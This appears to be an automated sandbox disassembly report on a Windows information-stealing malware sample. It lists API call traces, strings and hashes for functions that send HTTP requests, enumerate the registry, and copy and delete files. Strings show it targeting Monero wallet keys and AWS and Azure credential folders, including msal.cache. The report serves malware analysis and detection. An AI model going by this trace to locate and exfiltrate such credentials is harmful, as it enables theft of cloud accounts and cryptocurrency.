API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcess
String ID: ERROR_RUN_EXTRACTOR
API String ID: 4157063783-2709115261
Opcode ID: fe7572414f91e92164c560c6f34f74edb2c3574086008e7e8921b1a7770100ff
Instruction ID: 327afb518c3a1108d749a701403c354d87c3d745c111232598f5a48e3a5e57fe
Opcode Fuzzy Hash: fe7572414f91e92164c560c6f34f74edb2c3574086008e7e8921b1a7770100ff
Instruction Fuzzy Hash: 8C1223B1910109ABCB18EBA0DD5ADFE7779BF54300F508058F60AA7095DF786E0ACB63

Function 005E5960 Relevance: 39.0, APIs: 17, Strings: 5, Instructions: 495
networkstringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 005FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 005FA7E6

Part of subcall function 005E47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 005E4839
Part of subcall function 005E47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 005E4849

Part of subcall function 005FA740: lstrcpy.KERNEL32(00600E17,00000000), ref: 005FA788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 005E59F8
StrCmpCA.SHLWAPI(?,0164E390), ref: 005E5A13
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 005E5B93
lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,",00000000,?,0164E2A0,00000000,?,01649A68,00000000,?,00601A1C), ref: 005E5E71
lstrlen.KERNEL32(00000000), ref: 005E5E82
GetProcessHeap.KERNEL32(00000000,?), ref: 005E5E93
RtlAllocateHeap.NTDLL(00000000), ref: 005E5E9A
lstrlen.KERNEL32(00000000), ref: 005E5EAF
lstrlen.KERNEL32(00000000), ref: 005E5ED8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 005E5EF1
lstrlen.KERNEL32(00000000,?,?), ref: 005E5F1B
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 005E5F2F
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 005E5F4C
InternetCloseHandle.WININET(00000000), ref: 005E5FB0
InternetCloseHandle.WININET(00000000), ref: 005E5FBD
HttpOpenRequestA.WININET(00000000,0164E310,?,0164DDD0,00000000,00000000,00400100,00000000), ref: 005E5BF8

Part of subcall function 005FA9B0: lstrlen.KERNEL32(?,01648A20,?,\Monero\wallet.keys,00600E17), ref: 005FA9C5
Part of subcall function 005FA9B0: lstrcpy.KERNEL32(00000000), ref: 005FAA04
Part of subcall function 005FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 005FAA12

Part of subcall function 005FA8A0: lstrcpy.KERNEL32(?,00600E17), ref: 005FA905

Part of subcall function 005FA920: lstrcpy.KERNEL32(00000000,?), ref: 005FA972
Part of subcall function 005FA920: lstrcat.KERNEL32(00000000), ref: 005FA982

InternetCloseHandle.WININET(00000000), ref: 005E5FC7

Strings

", xrefs: 005E5CD5
------, xrefs: 005E5D4C
------, xrefs: 005E5A96
------, xrefs: 005E5C0B
", xrefs: 005E5E16

Memory Dump Source

Source File: 00000000.00000002.2353142539.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2353126554.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.00000000009BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000A98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353777685.0000000000AD5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353922964.0000000000C6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353935482.0000000000C6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcat$AllocateConnectCrackFileProcessReadSend
String ID: "$"$------$------$------
API String ID: 874700897-2180234286
Opcode ID: 4ba0d7e1c422d23822075b2526d283302e5e5d6c917b9cd8fee7470add9bcf9c
Instruction ID: 622c1db31bb3a0cf54f613fd077e3f713fccb16d34aae212d80c966ebecbfa69
Opcode Fuzzy Hash: 4ba0d7e1c422d23822075b2526d283302e5e5d6c917b9cd8fee7470add9bcf9c
Instruction Fuzzy Hash: 1D1211B281011DABDB19EBA0DC99FEE7778BF54740F404169B20A63091EF742B4ACF56

Function 005ECEF0 Relevance: 30.4, APIs: 20, Instructions: 375
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 005FA740: lstrcpy.KERNEL32(00600E17,00000000), ref: 005FA788

Part of subcall function 005FA9B0: lstrlen.KERNEL32(?,01648A20,?,\Monero\wallet.keys,00600E17), ref: 005FA9C5
Part of subcall function 005FA9B0: lstrcpy.KERNEL32(00000000), ref: 005FAA04
Part of subcall function 005FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 005FAA12

Part of subcall function 005FA8A0: lstrcpy.KERNEL32(?,00600E17), ref: 005FA905

Part of subcall function 005F8B60: GetSystemTime.KERNEL32(00600E1A,01649AF8,006005AE,?,?,005E13F9,?,0000001A,00600E1A,00000000,?,01648A20,?,\Monero\wallet.keys,00600E17), ref: 005F8B86

Part of subcall function 005FA920: lstrcpy.KERNEL32(00000000,?), ref: 005FA972
Part of subcall function 005FA920: lstrcat.KERNEL32(00000000), ref: 005FA982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 005ECF83
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 005ED0C7
RtlAllocateHeap.NTDLL(00000000), ref: 005ED0CE
lstrcat.KERNEL32(?,00000000), ref: 005ED208
lstrcat.KERNEL32(?,00601478), ref: 005ED217
lstrcat.KERNEL32(?,00000000), ref: 005ED22A
lstrcat.KERNEL32(?,0060147C), ref: 005ED239
lstrcat.KERNEL32(?,00000000), ref: 005ED24C
lstrcat.KERNEL32(?,00601480), ref: 005ED25B
lstrcat.KERNEL32(?,00000000), ref: 005ED26E
lstrcat.KERNEL32(?,00601484), ref: 005ED27D
lstrcat.KERNEL32(?,00000000), ref: 005ED290
lstrcat.KERNEL32(?,00601488), ref: 005ED29F
lstrcat.KERNEL32(?,00000000), ref: 005ED2B2
lstrcat.KERNEL32(?,0060148C), ref: 005ED2C1
lstrcat.KERNEL32(?,00000000), ref: 005ED2D4
lstrcat.KERNEL32(?,00601490), ref: 005ED2E3

Part of subcall function 005FA820: lstrlen.KERNEL32(005E4F05,?,?,005E4F05,00600DDE), ref: 005FA82B
Part of subcall function 005FA820: lstrcpy.KERNEL32(00600DDE,00000000), ref: 005FA885

lstrlen.KERNEL32(?), ref: 005ED32A
lstrlen.KERNEL32(?), ref: 005ED339

Part of subcall function 005FAA70: StrCmpCA.SHLWAPI(01648820,005EA7A7,?,005EA7A7,01648820), ref: 005FAA8F

DeleteFileA.KERNEL32(00000000), ref: 005ED3B4

Memory Dump Source

Source File: 00000000.00000002.2353142539.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2353126554.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.00000000009BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000A98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353777685.0000000000AD5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353922964.0000000000C6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353935482.0000000000C6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTime
String ID:
API String ID: 1956182324-0
Opcode ID: f56900b10e9446613489b247da24ac4e4d01a23ea622b005441f9d919da7fee2
Instruction ID: c261717575eb21e91db48c7db5021af9d5c23822d6ecd9401fbe95aca02c4b44
Opcode Fuzzy Hash: f56900b10e9446613489b247da24ac4e4d01a23ea622b005441f9d919da7fee2
Instruction Fuzzy Hash: 71E114B1910109ABCB18EBA0DD99EFE7779BF54301F104154F60BA7091DF79AA0ACB63

Function 005F8320 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 196registryCOMMON

Download Yara Rule

APIs

Part of subcall function 005FA740: lstrcpy.KERNEL32(00600E17,00000000), ref: 005FA788

RegOpenKeyExA.KERNEL32(00000000,0164AB40,00000000,00020019,00000000,006005B6), ref: 005F83A4
RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 005F8426
wsprintfA.USER32 ref: 005F8459
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 005F847B
RegCloseKey.ADVAPI32(00000000), ref: 005F848C
RegCloseKey.ADVAPI32(00000000), ref: 005F8499

Part of subcall function 005FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 005FA7E6

Strings

- , xrefs: 005F85A3
?, xrefs: 005F837A
%s\%s, xrefs: 005F844D

Memory Dump Source

Source File: 00000000.00000002.2353142539.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2353126554.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.00000000009BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000A98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353777685.0000000000AD5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353922964.0000000000C6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353935482.0000000000C6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: CloseOpenlstrcpy$Enumwsprintf
String ID: - $%s\%s$?
API String ID: 3246050789-3278919252
Opcode ID: cf906e63bd94cc0afca00f28277960b54efed722cbf38a7c7bf0c15134771ff5
Instruction ID: 5dc0686b5eb1a2313a51c5a67f0e411fa1669b0c0862bbdb41304d98c4ac14ac
Opcode Fuzzy Hash: cf906e63bd94cc0afca00f28277960b54efed722cbf38a7c7bf0c15134771ff5
Instruction Fuzzy Hash: 6B811CB191011DABDB28DB50CD95FFA7BB8FF48700F008699E209A6190DF756B86CF91

Function 005E6280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 005FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 005FA7E6

Part of subcall function 005E47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 005E4839
Part of subcall function 005E47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 005E4849

Part of subcall function 005FA740: lstrcpy.KERNEL32(00600E17,00000000), ref: 005FA788

InternetOpenA.WININET(00600DFE,00000001,00000000,00000000,00000000), ref: 005E62E1
StrCmpCA.SHLWAPI(?,0164E390), ref: 005E6303
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 005E6335
HttpOpenRequestA.WININET(00000000,GET,?,0164DDD0,00000000,00000000,00400100,00000000), ref: 005E6385
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 005E63BF
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 005E63D1
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 005E63FD
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 005E646D
InternetCloseHandle.WININET(00000000), ref: 005E64EF
InternetCloseHandle.WININET(00000000), ref: 005E64F9
InternetCloseHandle.WININET(00000000), ref: 005E6503

Strings

GET, xrefs: 005E637C
ERROR, xrefs: 005E64C9
ERROR, xrefs: 005E6407

Memory Dump Source

Source File: 00000000.00000002.2353142539.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2353126554.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.00000000009BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000A98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353777685.0000000000AD5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353922964.0000000000C6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353935482.0000000000C6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHttp$OpenRequestlstrcpy$ConnectCrackFileInfoOptionQueryReadSendlstrlen
String ID: ERROR$ERROR$GET
API String ID: 3749127164-2509457195
Opcode ID: 9c949069533d8fdfa1eb6e2eb4187418501e481cd6d14af504acdde49cf0a699
Instruction ID: 7398e74327c623b7cc6eef87f535c7c98f6d088956416e07f69d23a26fe2fbb7
Opcode Fuzzy Hash: 9c949069533d8fdfa1eb6e2eb4187418501e481cd6d14af504acdde49cf0a699
Instruction Fuzzy Hash: 72714D71A00258ABDF28DBA0CC49BEE7B75FF44740F108198F6096B1D4DBB46A85CF52

Function 005F5510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 005FA820: lstrlen.KERNEL32(005E4F05,?,?,005E4F05,00600DDE), ref: 005FA82B
Part of subcall function 005FA820: lstrcpy.KERNEL32(00600DDE,00000000), ref: 005FA885

Part of subcall function 005FA740: lstrcpy.KERNEL32(00600E17,00000000), ref: 005FA788

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 005F5644
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 005F56A1
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 005F5857

Part of subcall function 005FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 005FA7E6

Part of subcall function 005F51F0: StrCmpCA.SHLWAPI(00000000,ERROR), ref: 005F5228

Part of subcall function 005FA8A0: lstrcpy.KERNEL32(?,00600E17), ref: 005FA905

Part of subcall function 005F52C0: StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 005F5318
Part of subcall function 005F52C0: lstrlen.KERNEL32(00000000), ref: 005F532F
Part of subcall function 005F52C0: StrStrA.SHLWAPI(00000000,00000000), ref: 005F5364
Part of subcall function 005F52C0: lstrlen.KERNEL32(00000000), ref: 005F5383
Part of subcall function 005F52C0: lstrlen.KERNEL32(00000000), ref: 005F53AE

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 005F578B
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 005F5940
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 005F5A0C
Sleep.KERNEL32(0000EA60), ref: 005F5A1B

Strings

ERROR, xrefs: 005F5636
ERROR, xrefs: 005F577D
ERROR, xrefs: 005F5849
ERROR, xrefs: 005F5932
ERROR, xrefs: 005F59FE
ERROR, xrefs: 005F5693

Memory Dump Source

Source File: 00000000.00000002.2353142539.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2353126554.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.00000000009BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000A98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353777685.0000000000AD5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353922964.0000000000C6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353935482.0000000000C6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$Sleep
String ID: ERROR$ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 507064821-2791005934
Opcode ID: b862e6108ccaf7ae2bb9803a74f42be1874d6aa757f99fa394513e76fc4e459c
Instruction ID: c24df190534199874ba526d4dfc00be1339227c3f10b707d2a7883afc7721dd3
Opcode Fuzzy Hash: b862e6108ccaf7ae2bb9803a74f42be1874d6aa757f99fa394513e76fc4e459c
Instruction Fuzzy Hash: 1AE143B191010D9BCB18FBB0DD5ADFD7B78BF94340F408528B64A56095EF786A0ACB93

Function 005F4D70 Relevance: 22.6, APIs: 6, Strings: 9, Instructions: 123stringCOMMON

Download Yara Rule

APIs

Part of subcall function 005F8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 005F8E0B

lstrcat.KERNEL32(?,00000000), ref: 005F4DB0
lstrcat.KERNEL32(?,\.azure\), ref: 005F4DCD

Part of subcall function 005F4910: wsprintfA.USER32 ref: 005F492C
Part of subcall function 005F4910: FindFirstFileA.KERNEL32(?,?), ref: 005F4943

lstrcat.KERNEL32(?,00000000), ref: 005F4E3C
lstrcat.KERNEL32(?,\.aws\), ref: 005F4E59

Part of subcall function 005F4910: StrCmpCA.SHLWAPI(?,00600FDC), ref: 005F4971
Part of subcall function 005F4910: StrCmpCA.SHLWAPI(?,00600FE0), ref: 005F4987
Part of subcall function 005F4910: FindNextFileA.KERNEL32(000000FF,?), ref: 005F4B7D
Part of subcall function 005F4910: FindClose.KERNEL32(000000FF), ref: 005F4B92

lstrcat.KERNEL32(?,00000000), ref: 005F4EC8
lstrcat.KERNEL32(?,\.IdentityService\), ref: 005F4EE5

Part of subcall function 005F4910: wsprintfA.USER32 ref: 005F49B0
Part of subcall function 005F4910: StrCmpCA.SHLWAPI(?,006008D2), ref: 005F49C5
Part of subcall function 005F4910: wsprintfA.USER32 ref: 005F49E2
Part of subcall function 005F4910: PathMatchSpecA.SHLWAPI(?,?), ref: 005F4A1E
Part of subcall function 005F4910: lstrcat.KERNEL32(?,0164E300), ref: 005F4A4A
Part of subcall function 005F4910: lstrcat.KERNEL32(?,00600FF8), ref: 005F4A5C
Part of subcall function 005F4910: lstrcat.KERNEL32(?,?), ref: 005F4A70
Part of subcall function 005F4910: lstrcat.KERNEL32(?,00600FFC), ref: 005F4A82
Part of subcall function 005F4910: lstrcat.KERNEL32(?,?), ref: 005F4A96
Part of subcall function 005F4910: CopyFileA.KERNEL32(?,?,00000001), ref: 005F4AAC
Part of subcall function 005F4910: DeleteFileA.KERNEL32(?), ref: 005F4B31

Strings

Azure\.azure, xrefs: 005F4DD3
*.*, xrefs: 005F4DD8
Azure\.IdentityService, xrefs: 005F4EEB
\.IdentityService\, xrefs: 005F4ED9
msal.cache, xrefs: 005F4EF0
\.aws\, xrefs: 005F4E4D
*.*, xrefs: 005F4E64
Azure\.aws, xrefs: 005F4E5F
\.azure\, xrefs: 005F4DC1

Memory Dump Source

Source File: 00000000.00000002.2353142539.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2353126554.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
